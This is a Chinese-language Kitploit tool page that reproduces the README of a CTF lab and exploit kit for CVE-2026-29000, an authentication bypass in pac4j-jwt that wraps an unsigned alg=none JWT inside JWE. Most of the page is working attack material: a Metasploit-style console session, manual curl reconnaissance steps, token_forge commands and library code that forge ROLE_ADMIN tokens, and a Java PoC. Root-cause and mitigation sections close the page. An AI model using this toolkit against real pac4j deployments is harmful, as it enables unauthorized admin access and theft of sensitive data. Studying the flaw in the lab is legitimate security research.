Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/clayofgilgamesh/cve-2026-29000
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试身份验证学习与教育实验室与实践
GitHubclayofgilgamesh/cve-2026-29000

CVE-2026-29000

CTF 实验室与漏洞利用工具包,针对 CVE-2026-29000(pac4j-jwt JWE 身份验证绕过)。包含易受攻击的 Flask 目标、令牌伪造库、交互式漏洞利用控制台以及 Java PoC。

查看仓库
75个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-29000 — pac4j-jwt JWE 认证绕过

研究 pac4j-jwt 库中 JWE 认证漏洞的 CTF 实验室 CVSS 9.3(严重)· CWE-287 · 受影响版本:pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3


概述

受影响版本的 pac4j-jwt 允许通过创建一个 PlainJWT(alg=none,无签名)并将其包裹在 JWE(JSON Web Encryption)中,从而完全绕过 JWT 认证机制。在解密 JWE 层之后,库不会检查内部 JWT 的算法——claims 被完全信任,包括角色。

攻击链:

root@kitploit:~
X-Powered-By: pac4j/6.0.3          ← 版本泄露 → 识别框架
       ↓
OIDC Discovery → JWKS → RSA 公钥   ← 公开信息
       ↓
伪造 JWE(PlainJWT alg=none, ROLE_ADMIN)
       ↓
认证绕过 → GET /admin?token=<JWE>     ← 访问管理面板
       ↓
读取敏感数据:员工列表、系统配置、flag

项目结构

root@kitploit:~
CVE-2026-29000/
├── lab/                        # 目标 – Flask 应用(NexusBank 员工门户)
│   ├── app.py                  # 存在漏洞的主应用
│   ├── Dockerfile              # 构建时将 Flag 写入 /flag.txt
│   └── requirements.txt
│
├── token_forge/                # 用于生成伪造 JWE 令牌的 Python 库
│   ├── forge.py                # forge_token()
│   ├── jwe_builder.py
│   ├── keys.py
│   ├── claims.py
│   └── cli.py                  # CLI: python -m token_forge
│
├── scripts/
│   └── exploit.py              # 交互式利用控制台(Metasploit 风格)
│
├── poc/                        # Java PoC – 确认进程内绕过
│   ├── src/main/java/Poc.java
│   └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt

环境要求

工具版本备注
Docker Desktop24+运行目标实验室
Docker Composev2+集成在 Docker Desktop 中
Python3.11+运行 exploit.py 和 token_forge
Java + Maven11+仅 Java PoC 需要

安装

1. 克隆仓库

root@kitploit:~
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

2. 安装 Python 依赖

root@kitploit:~
# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

3. 启动实验室

root@kitploit:~
docker compose up -d lab

确认实验室正在运行:

root@kitploit:~
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

自定义 flag:

root@kitploit:~
docker compose build --build-arg FLAG="CTF{custom_flag}" lab
docker compose up -d lab

4. 停止实验室

root@kitploit:~
docker compose down

利用 — 交互式控制台

exploit.py 是一个 Metasploit 风格的交互式控制台。用户自行执行侦察以收集信息,然后配置并利用。

root@kitploit:~
python scripts/exploit.py

# 或从命令行预设置:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

完整会话示例:

root@kitploit:~
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

在浏览器中打开上述 URL 以进入管理仪表板。

PUBKEY 支持 3 种格式:

root@kitploit:~
# 1. JWKS URL — 自动获取(推荐)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. 已下载的文件
set PUBKEY /tmp/key.json

# 3. 直接粘贴原始 JSON
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

手动利用(不使用 exploit.py)

步骤 1 — 侦察

root@kitploit:~
# 通过响应头检测框架
curl -sI http://TARGET:8080

# 查找隐藏端点
curl -s http://TARGET:8080/robots.txt

步骤 2 — OIDC Discovery → JWKS

root@kitploit:~
# RFC 8414:pac4j 始终暴露此端点
curl -s http://TARGET:8080/.well-known/openid-configuration

# 从 jwks_uri 获取 RSA 公钥
curl -s http://TARGET:8080/.well-known/jwks.json

步骤 3 — 伪造 JWE 令牌

root@kitploit:~
python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

步骤 4 — 访问管理面板

root@kitploit:~
TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# 确认绕过
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# 在浏览器中打开管理仪表板
echo "http://TARGET:8080/admin?token=$TOKEN"

将 token_forge 用作 Python 库

root@kitploit:~
from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

Java PoC(进程内)

使用 Nimbus JOSE + pac4j 6.0.3 直接在 JVM 中确认绕过:

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# 仅打印令牌
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

运行测试

root@kitploit:~
pytest tests/ -v

# 带覆盖率报告
pytest tests/ -v --cov=token_forge --cov-report=term-missing

漏洞成因

位置问题
JwtAuthenticator.validateToken()解密 JWE 后,调用 PlainJWT.parse() 而不是 SignedJWT.parse()
lab 中的 _payload_to_claims()直接 base64decode + json.loads,不验证签名

错误的处理流程:

root@kitploit:~
JWE decrypt → 获取 payload → base64decode → json.loads → 信任 claims
                                         ↑ 缺少内部 JWT 签名验证步骤

修复措施

措施详情
升级 pac4j-jwt升级至 >= 6.3.3 / 5.7.9 / 4.5.9
拒绝 PlainJWT解密 JWE 后检查 alg != "none"
移除版本头在生产环境中关闭 X-Powered-By
最小权限不要以 root 权限运行容器

参考资料

  • pac4j 安全公告
  • RFC 7516 — JSON Web Encryption
  • RFC 7519 — JSON Web Token
  • RFC 8414 — OIDC Discovery
  • CWE-287 — 不正确的认证
  • https://github.com/kernelzeroday/CVE-2026-29000

警告: 此仓库仅用于受控环境中的安全研究和 CTF 目的。请勿在未经授权的系统上使用。

下载工具